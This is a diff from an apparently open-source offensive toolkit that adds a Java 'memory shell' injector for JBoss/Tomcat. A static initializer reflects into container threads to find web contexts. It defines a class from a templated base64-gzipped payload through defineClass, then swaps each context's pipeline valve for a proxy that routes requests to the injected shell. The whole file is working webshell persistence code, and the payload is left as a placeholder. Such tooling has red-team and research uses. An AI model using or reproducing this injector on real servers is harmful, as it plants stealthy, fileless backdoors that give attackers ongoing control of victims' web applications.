1
+ package com.reajason.javaweb.memshell.injector.jboss;
2
+
3
+ import java.io.ByteArrayInputStream;
4
+ import java.io.ByteArrayOutputStream;
5
+ import java.io.IOException;
6
+ import java.lang.reflect.Field;
7
+ import java.lang.reflect.InvocationHandler;
8
+ import java.lang.reflect.Method;
9
+ import java.lang.reflect.Proxy;
10
+ import java.util.*;
11
+ import java.util.zip.GZIPInputStream;
12
+
13
+ /**
14
+ * @author ReaJason
15
+ */
16
+ public class JbossProxyValveInjector implements InvocationHandler {
17
+
18
+ private Object rawValve;
19
+ private Object proxyValve;
20
+
21
+ static {
22
+ new JbossProxyValveInjector();
23
+ }
24
+
25
+ public JbossProxyValveInjector() {
26
+ try {
27
+ List<Object> contexts = getContext();
28
+ for (Object context : contexts) {
29
+ Object valve = getShell(context);
30
+ inject(context, valve);
31
+ }
32
+ } catch (Exception e) {
33
+ e.printStackTrace();
34
+ }
35
+ }
36
+
37
+ public JbossProxyValveInjector(Object rawValve, Object proxyValve) {
38
+ this.rawValve = rawValve;
39
+ this.proxyValve = proxyValve;
40
+ }
41
+
42
+ public String getClassName() {
43
+ return "{{className}}";
44
+ }
45
+
46
+ public String getBase64String() {
47
+ return "{{base64Str}}";
48
+ }
49
+
50
+ @Override
51
+ public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
52
+ if ("invoke".equals(method.getName())) {
53
+ try {
54
+ Object request = args[0];
55
+ Object response = args[1];
56
+ if (proxyValve.equals(new Object[]{request, response})) {
57
+ return null;
58
+ }
59
+ } catch (Throwable e) {
60
+ e.printStackTrace();
61
+ return method.invoke(rawValve, args);
62
+ }
63
+ }
64
+ return method.invoke(rawValve, args);
65
+ }
66
+
67
+ public List<Object> getContext() throws Exception {
68
+ List<Object> contexts = new ArrayList<Object>();
69
+ Set<Thread> threads = Thread.getAllStackTraces().keySet();
70
+ for (Thread thread : threads) {
71
+ if (thread.getName().contains("ContainerBackgroundProcessor")) {
72
+ Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
73
+ for (Object value : childrenMap.values()) {
74
+ Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
75
+ contexts.addAll(children.values());
76
+ }
77
+ }
78
+ }
79
+ return contexts;
80
+ }
81
+
82
+ private ClassLoader getWebAppClassLoader(Object context) {
83
+ try {
84
+ return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
85
+ } catch (Exception e) {
86
+ Object loader = invokeMethod(context, "getLoader", null, null);
87
+ return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
88
+ }
89
+ }
90
+
91
+ @SuppressWarnings("all")
92
+ private Object getShell(Object context) throws Exception {
93
+ ClassLoader classLoader = getWebAppClassLoader(context);
94
+ try {
95
+ return classLoader.loadClass(getClassName()).newInstance();
96
+ } catch (Exception e) {
97
+ byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
98
+ Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
99
+ defineClass.setAccessible(true);
100
+ Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
101
+ return clazz.newInstance();
102
+ }
103
+ }
104
+
105
+ @SuppressWarnings("all")
106
+ public void inject(Object context, Object valve) throws Exception {
107
+ Object pipeline = invokeMethod(context, "getPipeline", null, null);
108
+ ClassLoader contextClassLoader = context.getClass().getClassLoader();
109
+ Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve");
110
+ Object rawValve = null;
111
+ String fieldName = "first";
112
+ try {
113
+ rawValve = getFieldValue(pipeline, fieldName);
114
+ } catch (NoSuchFieldException e) {
115
+ fieldName = "basic";
116
+ rawValve = getFieldValue(pipeline, fieldName);
117
+ }
118
+ Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new JbossProxyValveInjector(rawValve, valve));
119
+ setFieldValue(pipeline, fieldName, proxyValve);
120
+ System.out.println("proxyValve inject successful");
121
+ }
122
+
123
+ @SuppressWarnings("all")
124
+ public static byte[] decodeBase64(String base64Str) throws Exception {
125
+ Class<?> decoderClass;
126
+ try {
127
+ decoderClass = Class.forName("java.util.Base64");
128
+ Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
129
+ return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
130
+ } catch (Exception ignored) {
131
+ decoderClass = Class.forName("sun.misc.BASE64Decoder");
132
+ return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
133
+ }
134
+ }
135
+
136
+ @SuppressWarnings("all")
137
+ public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
138
+ ByteArrayOutputStream out = new ByteArrayOutputStream();
139
+ GZIPInputStream gzipInputStream = null;
140
+ try {
141
+ gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
142
+ byte[] buffer = new byte[4096];
143
+ int n;
144
+ while ((n = gzipInputStream.read(buffer)) > 0) {
145
+ out.write(buffer, 0, n);
146
+ }
147
+ return out.toByteArray();
148
+ } finally {
149
+ if (gzipInputStream != null) {
150
+ gzipInputStream.close();
151
+ }
152
+ out.close();
153
+ }
154
+ }
155
+
156
+ public static Field getField(Object obj, String name) throws NoSuchFieldException {
157
+ for (Class<?> clazz = obj.getClass();
158
+ clazz != Object.class;
159
+ clazz = clazz.getSuperclass()) {
160
+ try {
161
+ Field field = clazz.getDeclaredField(name);
162
+ field.setAccessible(true);
163
+ return field;
164
+ } catch (NoSuchFieldException ignored) {
165
+
166
+ }
167
+ }
168
+ throw new NoSuchFieldException(name);
169
+ }
170
+
171
+ @SuppressWarnings("all")
172
+ public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
173
+ Field field = getField(obj, name);
174
+ field.set(obj, value);
175
+ }
176
+
177
+ @SuppressWarnings("all")
178
+ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
179
+ Field field = getField(obj, name);
180
+ return field.get(obj);
181
+ }
182
+
183
+ @SuppressWarnings("all")
184
+ public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
185
+ try {
186
+ Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
187
+ Method method = null;
188
+ while (clazz != null && method == null) {
189
+ try {
190
+ if (paramClazz == null) {
191
+ method = clazz.getDeclaredMethod(methodName);
192
+ } else {
193
+ method = clazz.getDeclaredMethod(methodName, paramClazz);
194
+ }
195
+ } catch (NoSuchMethodException e) {
196
+ clazz = clazz.getSuperclass();
197
+ }
198
+ }
199
+ if (method == null) {
200
+ throw new NoSuchMethodException("Method not found: " + methodName);
201
+ }
202
+ method.setAccessible(true);
203
+ return method.invoke(obj instanceof Class ? null : obj, param);
204
+ } catch (Exception e) {
205
+ throw new RuntimeException("Error invoking method: " + methodName, e);
206
+ }
207
+ }
208
+ }
0 commit comments